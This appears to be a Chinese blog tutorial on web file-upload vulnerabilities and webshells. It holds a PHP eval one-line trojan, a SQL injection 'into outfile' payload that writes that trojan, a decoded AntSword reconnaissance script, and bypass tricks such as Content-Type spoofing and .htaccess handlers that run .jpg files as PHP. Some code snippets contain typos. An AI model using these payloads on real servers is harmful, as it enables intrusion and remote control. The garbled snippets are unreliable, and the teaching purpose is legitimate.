文件上传漏洞

文章目录


一.Web工作原理 

Web工作原理详解

 HTTP/HTTPS协议会作为浏览器中输入信息的载体,向目标服务器发送请求,目标服务器收到请求后再返回对饮的信息,其中浏览器中输入的信息保存在HTTP报文的请求方式中(get和post等)

二.GET和POST的区别

  • GET请求:参数是以URL参数的形式进行传递,即在URL后面跟着参数名和值,参数之间使用&符号进行分隔,例如:http://example.com/api?param1=value1&param2=value2
  • POST请求:参数是通过HTTP消息体进行传递,参数内容不会显示在URL中,而是放在HTTP请求的消息体中进行传输。
  • 总结:GET请求仅能传输字母数字等参数无法传递图片等内容,而POST不仅可以传递数字还可以传递图片视频等内容

案例分析:

<?php
@&wanli=&_GET["a"];
print(&wanli);
?>

当我们在浏览器URL中输入a=123时,对应网页将输出123。如下图所示

 GET抓包分析

POST抓包分析 

<?php
@&wanli=&_POST["a"];
print(&wanli);
?>

三.Webshell概述

        Webshell是指一种利用Web漏洞获取远程操作权限的工具或脚本,Webshell通常隐藏在Web应用程序的后台目录中,攻击者通过利用一些已知的或未知的漏洞,将Webshell上传到服务器中。一旦成功部署Webshell,攻击者可以通过浏览器或专门的管理工具对服务器进行远程操控,并执行任意操作。

四.一句话木马病毒

PHP中常见的一句话木马病毒如下,通常需要搭配蚁剑等工具来远程控制服务器

<?php @eval($_post['a']);?>

上述代码中:
 @符号作用时即使代码执行错误也不报错
 eval()函数用于将括号中的内容转译为PHP代码交给服务器执行
 $_post["a"]:使用post函数获取HTTP报文中post请求携带的参数 a

 为什么说PHP需要搭配蚂剑等安全工具使用呢,因为上述代码中的参数a实际为蚁剑等工具的连接密码,当我们在蚁剑中输入连接密码 a 连接服务器时 蚁剑会将参数a转译为连接脚本,如下图:

 当上述连接脚本被上传到服务器后,蚁剑就可以成功远程控制服务器。

那么问题来了,如何将一句话木马病毒上传到服务器中?此时,需要依靠文件上传漏洞。

assert 和eval 的区别:

  • eval 是一个语言构造器,PHP不认为eval是一个可变函数,因此eval无法直接被当成参数传递,若需要使用可变方式调用,需要自己构造eval函数,如 function eval()
  • eval 中的参数可以是URL/base64编码过的字符串,而assert不支持,assert中的参数需要先解码

五.文件上传漏洞

mysql文件上传要点:

  • show variables like ‘%securty%’;用来查看mysql是否具有对服务器读写文件权限
  • 数据库的file权限规定了数据库用户是否有权限向操作系统写入和读取已存在的权限
  • into outfile 命令使用环境:必须知道对应服务器上可以写入文件的文件夹完整路径

 当满足以上三个条件后就可以向服务器上传一句话木马并通过蚁剑等工具远程控制

id=-1')) union select 1,"<?php @eval($_post["a"]);?>",3 into outfile “上传木马的文件路径”

蚁剑尝试连接的请求包内容如下所示:

请求包中包含两块内容:

  1. 蚁剑使用post方法传递一个参数:0xbc5c2b57d620e=.....
  2. zt=%40eval(%40base64_decode(%24_POST%5B_0xbc5c2b57d620e%5D))%3B

zt=%40eval(%40base64_decode(%24_POST%5B_0xbc5c2b57d620e%5D))%3B

解码后:
zt=eval(base64_decode($_POST('0xbc5c2b57d620e')))

蚁剑将靶机中webshell的zt替换为上述代码,得到结果如下:

<?php @eval($_post["eval(base64_decode($_POST('0xbc5c2b57d620e')))"]);?>

 而上述代码会使用eval()函数强制将post方法传递的参数0xbc5c2b57d620e使用base64解码(解码后的代码可用于控制靶机),最后再通过eval()函数强制执行参数0xbc5c2b57d620e解码之后的代码

将0xbc5c2b57d620e后面的参数解码后如下:
<?php 
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();ob_end_clean();echo "937d7";echo @asenc($output);echo "04504";
}
ob_start();
try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);   #获取当前脚本所在文件的路径并赋值给 D
    if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); #获取当前脚本的完整执行路径并赋值给D
    $R="{$D}"; #将变量D的值赋值给R
    if(substr($D,0,1)!="/"){  #若$D的第一个字符串不是“/”即路径不是目录
        #对于从 "C" 到 "Z" 的每个字母进行循环遍历,判断脚本所在磁盘
        foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/"; #路径是一个目录
         }
        $R.="";
        $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
        $s=($u)?$u["name"]:@get_current_user();
        $R.=php_uname()
        ;$R.="	{$s}";echo $R;;}
        catch(Exception $e)
        {
            echo "ERROR://".$e->getMessage();
        };
        asoutput();die();
?>

注释:$R.="":初始化一个空字符串变量$R。

$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";:判断系统是否支持posix_getegid函数,如果支持,则使用posix_getpwuid函数获取当前用户的详细信息;否则,将$u赋值为空字符串。

$s=($u)?$u["name"]:@get_current_user();:如果$u存在,则将$u["name"]赋值给变量s,即获取当前用户的用户名;否则,使用get_current_user函数获取当前用户的用户名。

$R.=php_uname();:将php_uname函数返回的系统信息追加到$R变量中。

$R.=" {$s}";:将$s变量追加到$R变量中。

echo $R;:输出$R变量的值,即将系统信息和当前用户名显示在页面上。

catch(Exception $e):捕获异常,但在代码中并没有发生异常的处理,因此这行代码是多余的

六.文件上传漏洞绕过手法

案例1:禁止上传.php的文件类型,.jpg的图片文件可正常上传。

  • 绕过手法:

使用burpsuit等工具将请求报文中的文件类型字段更改与,jpg等图片文件的文件类型一致

.php文件的文本类型:octet-stream

jpg文件的文本类型:ipge

演示案例2: 禁止上传asp aspx php jsp 后缀的文件

  • 绕过手法1:

Apache的配置文件中有如下源码告诉Apache将哪些后缀的文件解析为php文件,因此可以利用这一点将php文件的后缀改为php3等用于绕过。

  •  绕过手法2:利用伪静态将html文件指向php文件

.htaccrss漏洞解析

        .htaccess文件是Apache服务器中的一个配置文件,用于管理网站的配置和访问权限。它可以用来控制网站的访问方式、重定向URL、防止目录列表、密码保护目录等。

        .htaccess文件上传漏洞的原理是,攻击者通过控制上传文件的请求,在文件上传过程中,将文件名修改为.htaccess,并将包含恶意代码的.htaccess文件上传到服务器。当服务器对上传文件进行处理时,会读取.htaccess文件,并执行其中的恶意代码。

.htaccess参数

常见配置方法:

AddHandler php5-script .jpg

AddType application/x-httpd.php .jpg

Sethandler application/x-httpd-php

Sethandler:将该目录及子目录的所有文件均映射为php文件类型
AddType:将特定扩展名映射为php文件类型
AddHandler:使用php5-script处理器来解析所有匹配到的文件


总结

  • 12
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

北 染 星 辰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值